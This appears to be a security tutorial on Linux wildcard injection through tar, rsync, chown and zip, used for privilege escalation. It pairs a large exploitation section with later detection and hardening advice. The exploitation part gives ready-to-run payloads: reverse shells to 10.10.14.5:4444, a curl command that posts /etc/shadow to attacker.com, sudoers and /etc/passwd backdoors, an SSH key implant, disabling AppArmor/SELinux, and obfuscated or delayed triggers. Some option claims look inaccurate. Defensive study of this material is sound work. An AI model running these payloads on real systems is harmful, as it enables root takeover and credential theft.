Wildcard injection attack showing tar checkpoint exploitation and privilege escalation

Wildcard Abuse in Linux: Exploiting Command-Line Injection Vectors

Comprehensive guide to wildcard abuse attacks in Linux, covering tar, rsync, and chown exploitation techniques for privilege escalation through command-line argument injection.

Feb 16, 2026
Updated Dec 11, 2025
2 min read

Introduction

Wildcard abuse represents a sophisticated class of command injection vulnerabilities that exploit the shell's filename expansion mechanism to inject malicious command-line arguments into privileged processes. Unlike traditional command injection that relies on unfiltered user input, wildcard abuse leverages the fundamental behavior of Linux shells where wildcard characters (*, ?, []) are expanded to matching filenames before command execution. This creates an attack surface where specially crafted filenames can be interpreted as command-line options, potentially leading to arbitrary code execution with elevated privileges.

The danger of wildcard abuse lies in its prevalence in automated system tasks. Cron jobs, backup scripts, and system maintenance routines frequently use wildcards to process multiple files efficiently. When these scripts run with elevated privileges (root or specific service accounts), they become high-value targets for privilege escalation attacks. The attack is particularly insidious because it doesn't require exploiting software bugs or memory corruption vulnerabilities—instead, it abuses the intended functionality of shell expansion and command-line argument parsing.

What makes wildcard abuse especially challenging to detect is that security audits rarely consider filename creation as a threat vector. Traditional security scanning tools focus on code vulnerabilities, permission issues, and network exposure. They don't typically flag scripts that use wildcards, and file integrity monitoring systems may ignore file creation in temporary or user-writable directories. This blind spot allows attackers to establish persistent privilege escalation mechanisms that remain undetected for extended periods.

The Hidden Argument Injection

When a shell encounters tar -czf backup.tar.gz *, it first expands the asterisk to all filenames in the current directory. If files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh exist, the expanded command becomes tar -czf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1 file2 ..., effectively injecting malicious arguments into the tar command. This is not a vulnerability in tar—it's the expected behavior of shell expansion combined with argument parsing.

Technical Background

Understanding Shell Wildcard Expansion

Linux shells perform several types of expansion before executing commands, with filename expansion (globbing) occurring after variable expansion but before command execution. Understanding the order and behavior of these expansions is crucial for both exploitation and defense.

Wildcard Characters and Their Behavior:

WildcardDescriptionExampleMatches
*Matches zero or more characters*.txtfile.txt, document.txt, a.txt
?Matches exactly one characterfile?.txtfile1.txt, fileA.txt but not file10.txt
[...]Matches any single character in bracketsfile[123].txtfile1.txt, file2.txt, file3.txt
[!...]Matches any character NOT in bracketsfile[!0-9].txtfileA.txt, fileB.txt but not file1.txt
~Expands to home directory~/docs/home/user/docs

Expansion Order in Bash:

User Input → Brace Expansion → Tilde Expansion → Parameter Expansion
          → Arithmetic Expansion → Command Substitution → Word Splitting
          → Filename Expansion (Globbing) → Command Execution

Vulnerable Command Patterns

Many common Unix utilities accept command-line options that can be exploited through wildcard injection:

High-Risk Commands:

CommandDangerous OptionsExploitation Method
tar--checkpoint-action=exec=COMMANDExecute arbitrary commands during archive operations
rsync-e ssh or --rsh=COMMANDSpecify alternative remote shell for code execution
chown--reference=FILECopy ownership from attacker-controlled file
chmod--reference=FILECopy permissions from attacker-controlled file
find-exec COMMAND {} \;Execute commands on found files
xargs(any command following)Feed filenames as arguments to commands
zip-T or --unzip-commandExecute custom unzip command
7z(command injection via filenames)Various injection vectors

The Attack Vector

Consider a common backup script running as root via cron:

#!/bin/bash
# /usr/local/bin/backup.sh - Runs as root every hour

cd /home/user/documents
tar -czf /backups/docs-$(date +%Y%m%d-%H%M).tar.gz *

The vulnerability chain:

  1. Wildcard Usage: The script uses * to match all files
  2. Shell Expansion: Bash expands * to all filenames before executing tar
  3. Argument Injection: Filenames beginning with - are interpreted as options
  4. Privileged Execution: The script runs with root privileges
  5. Code Execution: Malicious options trigger command execution as root

Enumeration and Discovery

Identifying Vulnerable Scripts

Systematic enumeration is essential for discovering wildcard abuse opportunities:

Search for Scripts with Wildcards

# Find scripts containing wildcard usage
grep -r '\*' /usr/local/bin /opt/scripts /home/*/scripts 2>/dev/null

# Focus on scripts run by cron
grep -r '\*' /etc/cron* /var/spool/cron 2>/dev/null

# Search for specific vulnerable patterns
grep -Er '(tar|rsync|chown|chmod).*\*' /etc /usr/local /opt 2>/dev/null

# Find scripts with both cd and wildcard commands
grep -l 'cd ' /usr/local/bin/* | xargs grep -l '\*'

Analyze Cron Jobs

# List all cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
crontab -u root -l 2>/dev/null

# Check systemd timers
systemctl list-timers --all
find /etc/systemd -name "*.timer" -exec cat {} \;

# Examine cron job scripts
for script in /etc/cron.*/[!.]* /etc/cron.d/*; do
    echo "=== $script ==="
    cat "$script"
done

Check File Permissions

# Find writable directories where cron scripts operate
find / -type d -writable 2>/dev/null

# Check if we can write to directories processed by cron
ls -la /home/*/documents /home/*/backups /tmp /var/tmp

# Identify directories where privileged scripts change into
grep -h '^cd ' /etc/cron* /usr/local/bin/* 2>/dev/null | awk '{print $2}'

Monitor Script Execution

# Watch for script execution using auditd
auditctl -a exit,always -F arch=b64 -S execve -F path=/usr/bin/tar -k tar_execution

# Monitor file creation in target directories
inotifywait -m -e create /home/user/documents

# Check recent script execution
grep 'CRON' /var/log/syslog | tail -20
journalctl -u cron --since "1 hour ago"

Automated Enumeration Script

#!/usr/bin/env python3
"""
Wildcard Abuse Enumeration Script
Identifies potential wildcard injection vulnerabilities
"""

import os
import re
import subprocess
from pathlib import Path

VULNERABLE_COMMANDS = [
    'tar', 'rsync', 'chown', 'chmod', 'find',
    'xargs', 'zip', '7z', 'rar'
]

SEARCH_PATHS = [
    '/etc/cron.d',
    '/etc/cron.daily',
    '/etc/cron.hourly',
    '/etc/cron.monthly',
    '/etc/cron.weekly',
    '/usr/local/bin',
    '/opt/scripts',
    '/var/spool/cron/crontabs',
]

def find_scripts_with_wildcards():
    """Find scripts containing wildcard usage"""
    vulnerable_scripts = []

    for search_path in SEARCH_PATHS:
        if not os.path.exists(search_path):
            continue

        for root, dirs, files in os.walk(search_path):
            for file in files:
                filepath = os.path.join(root, file)

                try:
                    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
                        content = f.read()

                    # Check for vulnerable patterns
                    for cmd in VULNERABLE_COMMANDS:
                        # Pattern: command followed by wildcard
                        pattern = rf'\b{cmd}\b[^\n]*\*'
                        matches = re.findall(pattern, content)

                        if matches:
                            vulnerable_scripts.append({
                                'file': filepath,
                                'command': cmd,
                                'lines': matches,
                                'permissions': oct(os.stat(filepath).st_mode)[-3:]
                            })

                except (PermissionError, IsADirectoryError, UnicodeDecodeError):
                    continue

    return vulnerable_scripts

def check_writable_directories():
    """Find writable directories"""
    try:
        result = subprocess.run(
            ['find', '/', '-type', 'd', '-writable', '-ls'],
            capture_output=True,
            text=True,
            timeout=60
        )
        return result.stdout.split('\n')
    except:
        return []

def analyze_cron_jobs():
    """Extract cron job information"""
    cron_jobs = []

    try:
        # Parse crontab
        result = subprocess.run(
            ['crontab', '-l'],
            capture_output=True,
            text=True
        )

        for line in result.stdout.split('\n'):
            if line and not line.startswith('#'):
                cron_jobs.append(line)

    except:
        pass

    # Parse /etc/crontab
    try:
        with open('/etc/crontab', 'r') as f:
            for line in f:
                if line.strip() and not line.startswith('#'):
                    cron_jobs.append(line.strip())
    except:
        pass

    return cron_jobs

def main():
    print("[*] Wildcard Abuse Vulnerability Scanner")
    print("[*] Searching for vulnerable scripts...\n")

    # Find vulnerable scripts
    scripts = find_scripts_with_wildcards()

    if scripts:
        print(f"[!] Found {len(scripts)} potentially vulnerable scripts:\n")

        for script in scripts:
            print(f"[+] {script['file']}")
            print(f"    Permissions: {script['permissions']}")
            print(f"    Command: {script['command']}")
            print(f"    Vulnerable lines:")
            for line in script['lines']:
                print(f"      {line.strip()}")
            print()
    else:
        print("[*] No obvious vulnerabilities found")

    # Check writable directories
    print("\n[*] Checking for writable directories...")
    writable = check_writable_directories()

    if writable:
        print(f"[!] Found {len(writable)} writable directories")
        print("[*] Check if any cron scripts operate in these directories")

    # Analyze cron jobs
    print("\n[*] Analyzing cron jobs...")
    crons = analyze_cron_jobs()

    if crons:
        print(f"[+] Found {len(crons)} cron jobs:")
        for job in crons:
            print(f"    {job}")

if __name__ == '__main__':
    main()

Exploitation Techniques

TAR Command Injection

The tar utility is commonly exploited for wildcard abuse due to its powerful --checkpoint-action feature.

Classic Tar Wildcard Exploit:

# Identify vulnerable cron job
cat /etc/cron.d/backup
# */5 * * * * root cd /home/user/docs && tar -czf /backup/docs.tar.gz *

# Create malicious payload
cd /home/user/docs

# Create reverse shell script
cat > shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
EOF

chmod +x shell.sh

# Create checkpoint files to inject arguments
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

# Wait for cron to execute
# When tar runs: tar -czf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1 file2 ...

Adding User to Sudoers:

# Create privilege escalation payload
cat > privesc.sh <<'EOF'
#!/bin/bash
echo "attacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
EOF

chmod +x privesc.sh

# Create injection files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh privesc.sh'

# Wait for execution
sleep 300

# Verify sudo access
sudo -l
sudo su

Modifying /etc/passwd:

# Generate password hash
openssl passwd -1 -salt hacked Password123
# $1$hacked$w8qI3J7N.K8VZFqWQ1cYQ.

# Create payload to add root user
cat > adduser.sh <<'EOF'
#!/bin/bash
echo 'hacker:$1$hacked$w8qI3J7N.K8VZFqWQ1cYQ.:0:0:root:/root:/bin/bash' >> /etc/passwd
EOF

chmod +x adduser.sh

# Inject into tar
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh adduser.sh'

# After cron runs, login as new root user
su hacker
# Password: Password123

Extracting Sensitive Files:

# Create script to exfiltrate /etc/shadow
cat > exfil.sh <<'EOF'
#!/bin/bash
cp /etc/shadow /tmp/.shadow.bak
chmod 644 /tmp/.shadow.bak
curl -X POST -d @/tmp/.shadow.bak https://attacker.com/collect
EOF

chmod +x exfil.sh

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh exfil.sh'

Establishing Persistence:

# Install SSH backdoor
cat > backdoor.sh <<'EOF'
#!/bin/bash
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
systemctl restart sshd
EOF

chmod +x backdoor.sh

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh backdoor.sh'

Disabling Security Controls:

# Disable AppArmor/SELinux
cat > disable_sec.sh <<'EOF'
#!/bin/bash
systemctl stop apparmor 2>/dev/null
systemctl disable apparmor 2>/dev/null
setenforce 0 2>/dev/null
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config 2>/dev/null
EOF

chmod +x disable_sec.sh

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh disable_sec.sh'

Obfuscating Filenames:

# Use Unicode lookalikes
touch -- '­­--checkpoint=1'  # Using zero-width characters
touch -- '‐‐checkpoint-action=exec=sh shell.sh'  # Using Unicode hyphen

# Hide in legitimate-looking names
touch 'log--checkpoint=1.txt'
touch 'backup--checkpoint-action=exec=sh shell.sh.bak'

# Use wildcards themselves
touch -- '*--checkpoint=1'
touch -- '*--checkpoint-action=exec=sh shell.sh'

Bypassing Basic Detection:

# Split payload across multiple files
cat > stage1.sh <<'EOF'
cat > /tmp/.stage2.sh <<'PAYLOAD'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
PAYLOAD
chmod +x /tmp/.stage2.sh
/tmp/.stage2.sh
EOF

chmod +x stage1.sh

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh stage1.sh'

Time-Delayed Execution:

# Create payload that executes later
cat > delayed.sh <<'EOF'
#!/bin/bash
(sleep 3600 && bash -i >& /dev/tcp/10.10.14.5/4444 0>&1) &
EOF

chmod +x delayed.sh

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh delayed.sh'

RSYNC Exploitation

The rsync command can be exploited through its -e or --rsh options:

# Vulnerable cron job
# */10 * * * * root cd /data && rsync -av * backup-server:/backups/

# Create malicious files
cd /data

cat > exploit.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF

chmod +x exploit.sh

# Inject rsync options
touch -- '-e sh exploit.sh'

# Alternative: use --rsh
touch -- '--rsh=sh exploit.sh'

# Wait for execution
sleep 600

# Execute SUID bash
/tmp/rootbash -p

Advanced RSYNC Injection:

# Multi-stage exploitation
cat > stage1.sh <<'EOF'
#!/bin/bash
cat > /tmp/stage2.sh <<'INNER'
#!/bin/bash
echo "attacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
chmod 440 /etc/sudoers
INNER
chmod +x /tmp/stage2.sh
/tmp/stage2.sh
rm -f /tmp/stage2.sh
EOF

chmod +x stage1.sh

# Create injection files
touch -- '-e sh stage1.sh'
touch 'dummy.txt'  # Ensure there's a file to sync

# Cleanup after execution
echo "rm -f stage1.sh '-e sh stage1.sh'" >> stage1.sh

CHOWN and CHMOD Exploitation

These commands can be exploited using the --reference flag:

# Vulnerable script
# */15 * * * * root cd /var/www/uploads && chown www-data:www-data *

# Create reference file with desired ownership
cd /var/www/uploads

# Copy root's .ssh directory to accessible location
cat > exploit.sh <<'EOF'
#!/bin/bash
cp -r /root/.ssh /tmp/.ssh_backup
chmod 755 /tmp/.ssh_backup
chmod 644 /tmp/.ssh_backup/*
EOF

chmod +x exploit.sh

# Create files for exploitation
touch -- '--reference=/etc/passwd'
touch malicious_file

# The chown command will set malicious_file to root:root
# Then we can abuse this for further exploitation

ZIP Command Injection

# Vulnerable backup script using zip
# */30 * * * * root cd /home/user/data && zip -r /backup/data.zip *

cd /home/user/data

# Create reverse shell
cat > shell.sh <<'EOF'
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
EOF

chmod +x shell.sh

# Inject zip options
touch -- '--unzip-command=sh shell.sh'
touch -- '-T'

# Or use -TT for immediate execution
touch -- '-TT'

Detection and Monitoring

File System Monitoring

Detect Suspicious Filename Patterns

# Monitor for files starting with dashes
find / -name '-*' -o -name '--*' 2>/dev/null

# Check for checkpoint-related files
find / -name '*checkpoint*' 2>/dev/null

# Detect files with unusual characters
find / -regex '.*[^a-zA-Z0-9._-].*' 2>/dev/null

# Look for recently created suspicious files
find / -type f -ctime -1 -name '-*' 2>/dev/null

Real-Time File Creation Monitoring

# Install inotify-tools
apt-get install inotify-tools

# Monitor file creation in common target directories
inotifywait -m -r -e create /home /tmp /var/tmp --format '%w%f %e' |
while read file event; do
    if [[ "$file" =~ ^- ]] || [[ "$file" =~ -- ]]; then
        echo "ALERT: Suspicious file created: $file"
        logger "Wildcard abuse attempt: $file"
    fi
done

Auditd Rules

# Add to /etc/audit/rules.d/wildcard-abuse.rules

# Monitor file creation starting with dashes
-w /home/ -p wa -k wildcard_injection
-w /tmp/ -p wa -k wildcard_injection
-w /var/tmp/ -p wa -k wildcard_injection

# Monitor tar checkpoint usage
-w /usr/bin/tar -p x -k tar_execution
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/tar -F a0=-*checkpoint* -k tar_checkpoint

# Monitor rsync with -e flag
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/rsync -F a1=-e -k rsync_execution

# Reload auditd
auditctl -R /etc/audit/rules.d/wildcard-abuse.rules

Log Analysis

# Search for tar checkpoint usage
grep -r "checkpoint-action" /var/log/

# Check for suspicious script executions
grep -E "(tar|rsync|chown).*(--|\s-[a-z])" /var/log/syslog

# Analyze cron execution logs
journalctl -u cron | grep -E "(tar|rsync|chown|chmod)" | tail -50

Automated Detection Script

#!/usr/bin/env python3
"""
Wildcard Abuse Detection Script
Monitors filesystem for suspicious filename patterns
"""

import os
import sys
import time
import logging
from pathlib import Path
from datetime import datetime

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler('/var/log/wildcard_detection.log'),
        logging.StreamHandler()
    ]
)

SUSPICIOUS_PATTERNS = [
    lambda f: f.startswith('-'),
    lambda f: f.startswith('--'),
    lambda f: 'checkpoint' in f.lower(),
    lambda f: '--rsh' in f or '-e ' in f,
    lambda f: '--reference' in f,
    lambda f: '--unzip-command' in f,
]

MONITORED_DIRECTORIES = [
    '/home',
    '/tmp',
    '/var/tmp',
    '/var/www',
    '/opt',
]

def is_suspicious_filename(filename):
    """Check if filename matches suspicious patterns"""
    basename = os.path.basename(filename)

    for pattern in SUSPICIOUS_PATTERNS:
        if pattern(basename):
            return True
    return False

def scan_directory(directory):
    """Scan directory for suspicious files"""
    alerts = []

    try:
        for root, dirs, files in os.walk(directory):
            for file in files:
                filepath = os.path.join(root, file)

                if is_suspicious_filename(file):
                    # Get file details
                    try:
                        stat_info = os.stat(filepath)
                        alerts.append({
                            'file': filepath,
                            'size': stat_info.st_size,
                            'created': datetime.fromtimestamp(stat_info.st_ctime),
                            'modified': datetime.fromtimestamp(stat_info.st_mtime),
                            'owner': stat_info.st_uid,
                        })
                    except OSError:
                        pass

    except PermissionError:
        logging.warning(f"Permission denied: {directory}")

    return alerts

def main():
    logging.info("Starting wildcard abuse detection scan...")

    all_alerts = []

    for directory in MONITORED_DIRECTORIES:
        if os.path.exists(directory):
            logging.info(f"Scanning {directory}...")
            alerts = scan_directory(directory)
            all_alerts.extend(alerts)

    if all_alerts:
        logging.warning(f"Found {len(all_alerts)} suspicious files:")

        for alert in all_alerts:
            logging.warning(
                f"  File: {alert['file']}\n"
                f"    Created: {alert['created']}\n"
                f"    Modified: {alert['modified']}\n"
                f"    Size: {alert['size']} bytes\n"
                f"    Owner UID: {alert['owner']}"
            )

        # Alert via syslog
        os.system(f'logger -t wildcard_abuse "Found {len(all_alerts)} suspicious files"')
    else:
        logging.info("No suspicious files detected")

if __name__ == '__main__':
    main()

Mitigation and Defense

Secure Coding Practices

Avoid Wildcards in Privileged Scripts

Never use wildcards in scripts running with elevated privileges:

# BAD: Vulnerable to wildcard abuse
#!/bin/bash
cd /home/user/documents
tar -czf /backup/docs.tar.gz *

# GOOD: Use explicit file lists
#!/bin/bash
cd /home/user/documents
find . -maxdepth 1 -type f -print0 | tar -czf /backup/docs.tar.gz --null -T -

# BETTER: Use absolute paths and verification
#!/bin/bash
SOURCE_DIR="/home/user/documents"
BACKUP_DIR="/backup"
DATE=$(date +%Y%m%d-%H%M)

# Verify directories exist
[[ -d "$SOURCE_DIR" ]] || exit 1
[[ -d "$BACKUP_DIR" ]] || exit 1

# Create backup with explicit path
tar -czf "$BACKUP_DIR/docs-$DATE.tar.gz" -C "$SOURCE_DIR" .

Alternative approaches:

# Use arrays to collect files safely
#!/bin/bash
files=()
while IFS= read -r -d '' file; do
    files+=("$file")
done < <(find /path/to/dir -type f -print0)

tar -czf backup.tar.gz "${files[@]}"

# Or use find with -exec directly
find /path/to/dir -type f -exec tar -czf backup.tar.gz {} +

Proper Quoting and Expansion

Use proper quoting to prevent argument injection:

# BAD: Unquoted wildcard expansion
for file in *; do
    process_file $file
done

# GOOD: Quoted variables
for file in *; do
    process_file "$file"
done

# BEST: Use find with null terminators
find . -maxdepth 1 -type f -print0 | while IFS= read -r -d '' file; do
    process_file "$file"
done

Disable wildcard expansion when not needed:

# Disable globbing temporarily
set -f  # or set -o noglob

# Your commands here
command_without_globbing

# Re-enable globbing
set +f  # or set +o noglob

Input Validation and Sanitization

Validate filenames before processing:

#!/bin/bash

# Function to validate filename
validate_filename() {
    local filename="$1"

    # Check if filename starts with dash
    if [[ "$filename" =~ ^- ]]; then
        echo "Error: Filename starts with dash: $filename" >&2
        return 1
    fi

    # Check for suspicious patterns
    if [[ "$filename" =~ (checkpoint|--rsh|-e|--reference) ]]; then
        echo "Error: Suspicious pattern in filename: $filename" >&2
        return 1
    fi

    # Only allow alphanumeric, dots, dashes, underscores
    if [[ ! "$filename" =~ ^[a-zA-Z0-9._-]+$ ]]; then
        echo "Error: Invalid characters in filename: $filename" >&2
        return 1
    fi

    return 0
}

# Use in processing loop
for file in /path/to/files/*; do
    basename=$(basename "$file")

    if validate_filename "$basename"; then
        process_file "$file"
    else
        logger -t backup_script "Rejected suspicious file: $file"
    fi
done

Principle of Least Privilege

Run scripts with minimal necessary privileges:

# Instead of running entire script as root
# */5 * * * * root cd /home/user && tar -czf /backup/data.tar.gz *

# Run as unprivileged user and elevate only when needed
# */5 * * * * backup /usr/local/bin/secure_backup.sh

# secure_backup.sh
#!/bin/bash
SOURCE_DIR="/home/user/documents"
BACKUP_DIR="/backup"

# Run tar as unprivileged user
su - backup -c "tar -czf /tmp/backup-$$.tar.gz -C $SOURCE_DIR ."

# Only elevate to move final backup
sudo mv /tmp/backup-$$.tar.gz "$BACKUP_DIR/backup-$(date +%Y%m%d).tar.gz"
sudo chown root:root "$BACKUP_DIR/backup-$(date +%Y%m%d).tar.gz"
sudo chmod 600 "$BACKUP_DIR/backup-$(date +%Y%m%d).tar.gz"

Using -- (Double Dash) Separator

Many commands support -- to explicitly end option processing:

# Explicitly separate options from arguments
tar -czf backup.tar.gz -- *

# This ensures files starting with - are treated as filenames
rm -- -badfile.txt

# Works with most GNU utilities
chown user:group -- *
chmod 644 -- *

Filesystem Restrictions

Restrict File Creation

# Prevent files starting with dashes in specific directories
# Add to /etc/security/limits.conf or use filesystem ACLs

# Use filesystem extended attributes (if supported)
setfattr -n user.wildcard_protected -v "true" /home/user/documents

# Script to prevent dash-prefixed files
cat > /usr/local/bin/check_files.sh <<'EOF'
#!/bin/bash
for file in /home/*/documents/*; do
    if [[ "$(basename "$file")" =~ ^- ]]; then
        echo "Removing suspicious file: $file"
        rm -f "$file"
        logger -t security "Removed wildcard abuse file: $file"
    fi
done
EOF

chmod +x /usr/local/bin/check_files.sh

# Run regularly via cron
echo "*/5 * * * * root /usr/local/bin/check_files.sh" >> /etc/crontab

Implement File Integrity Monitoring

# Install AIDE (Advanced Intrusion Detection Environment)
apt-get install aide

# Initialize AIDE database
aideinit

# Check for changes
aide --check

# Create monitoring script
cat > /usr/local/bin/monitor_wildcards.sh <<'EOF'
#!/bin/bash
LOGFILE="/var/log/wildcard_monitor.log"

# Monitor specific directories
DIRS=("/home" "/tmp" "/var/tmp" "/var/www")

for dir in "${DIRS[@]}"; do
    if [[ -d "$dir" ]]; then
        find "$dir" -name '-*' -o -name '--*' -type f -mtime -1 2>/dev/null | while read file; do
            echo "$(date): Suspicious file detected: $file" >> "$LOGFILE"
            logger -t wildcard_abuse "Detected: $file"
        done
    fi
done
EOF

chmod +x /usr/local/bin/monitor_wildcards.sh

# Schedule hourly checks
echo "0 * * * * root /usr/local/bin/monitor_wildcards.sh" >> /etc/crontab

AppArmor/SELinux Policies

# Create AppArmor profile for backup script
cat > /etc/apparmor.d/usr.local.bin.backup <<'EOF'
#include <tunables/global>

/usr/local/bin/backup {
  #include <abstractions/base>

  # Deny file creation starting with dashes
  deny /home/**/--* w,
  deny /home/**/-* w,
  deny /tmp/--* w,
  deny /tmp/-* w,

  # Allow necessary operations
  /usr/bin/tar rix,
  /home/**/[!-]* r,
  /backup/** w,
}
EOF

# Load profile
apparmor_parser -r /etc/apparmor.d/usr.local.bin.backup

# For SELinux, create custom policy
# audit2allow can help generate policies from denials
ausearch -m avc | audit2allow -M wildcard_protection
semodule -i wildcard_protection.pp

Script Hardening Checklist

  • Avoid wildcards in privileged scripts entirely
  • Use explicit paths instead of cd + wildcard
  • Quote all variables to prevent word splitting
  • Use -- separator before filenames in commands
  • Validate filenames before processing
  • Run with least privilege - don't use root unless necessary
  • Use find with -exec instead of wildcards
  • Enable shell options: set -euo pipefail for safer scripts
  • Implement logging for all file operations
  • Regular audits of cron jobs and scheduled tasks
  • Monitor for suspicious files in writable directories
  • Use filesystem ACLs to restrict file creation
  • Deploy IDS/IPS signatures for wildcard abuse patterns

Real-World Examples

Example 1: HTB Machine Exploitation

# Scenario: Backup script runs as root every 5 minutes
# /etc/cron.d/backup
# */5 * * * * root cd /var/www/html/uploads && tar -czf /backup/web.tar.gz *

# Discovery
ls -la /var/www/html/uploads
# drwxrwxrwx 2 www-data www-data 4096 Feb 16 10:30 .

# Exploitation
cd /var/www/html/uploads

# Create reverse shell
cat > shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.25/4444 0>&1
EOF

chmod +x shell.sh

# Create injection files
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"

# Start listener on attacker machine
nc -lvnp 4444

# Wait for cron execution (max 5 minutes)
# Shell received as root

Example 2: Chown Reference Exploitation

# Scenario: Web upload directory ownership reset hourly
# */60 * * * * root chown -R www-data:www-data /var/www/uploads/*

# Exploit to maintain persistence
cd /var/www/uploads

# Create SUID shell
cp /bin/bash rootbash
chmod 4755 rootbash

# Create reference to prevent ownership change
touch -- '--reference=rootbash'

# After cron runs, rootbash maintains root SUID bit
./rootbash -p

Example 3: Rsync Remote Code Execution

# Scenario: Automated sync to backup server
# */15 * * * * root cd /data && rsync -av * backup-server:/backup/

# Exploitation
cd /data

# Create malicious script
cat > backdoor.sh <<'EOF'
#!/bin/bash
echo "attacker:$(openssl passwd -1 Password123):0:0::/root:/bin/bash" >> /etc/passwd
chmod 644 /etc/passwd
EOF

chmod +x backdoor.sh

# Inject rsync options
touch -- '-e sh backdoor.sh'

# Create dummy file to ensure rsync runs
touch dummy.txt

# After execution
su attacker
# Password: Password123

References

MITRE ATT&CK Techniques

Security Research

Security Resources

Next Steps

After identifying wildcard abuse vulnerabilities:

  • Immediately review all cron jobs and scheduled tasks for wildcard usage
  • Audit existing scripts for vulnerable patterns
  • Implement monitoring for suspicious file creation patterns
  • Harden scripts using secure coding practices
  • Deploy detection rules in SIEM/IDS systems
  • Explore related Linux privilege escalation techniques:

Takeaway: Wildcard abuse represents a critical yet often overlooked privilege escalation vector in Linux environments. While not a software vulnerability, it exploits the fundamental design of shell expansion and command-line argument parsing. The attack's stealth nature—requiring only file creation permissions in accessible directories—makes it particularly dangerous in environments with automated maintenance scripts. Comprehensive script auditing, secure coding practices, filesystem monitoring, and principle of least privilege form the cornerstone of defense against wildcard injection attacks. Make wildcard security awareness a mandatory component of your secure scripting guidelines and code review processes.

Last updated on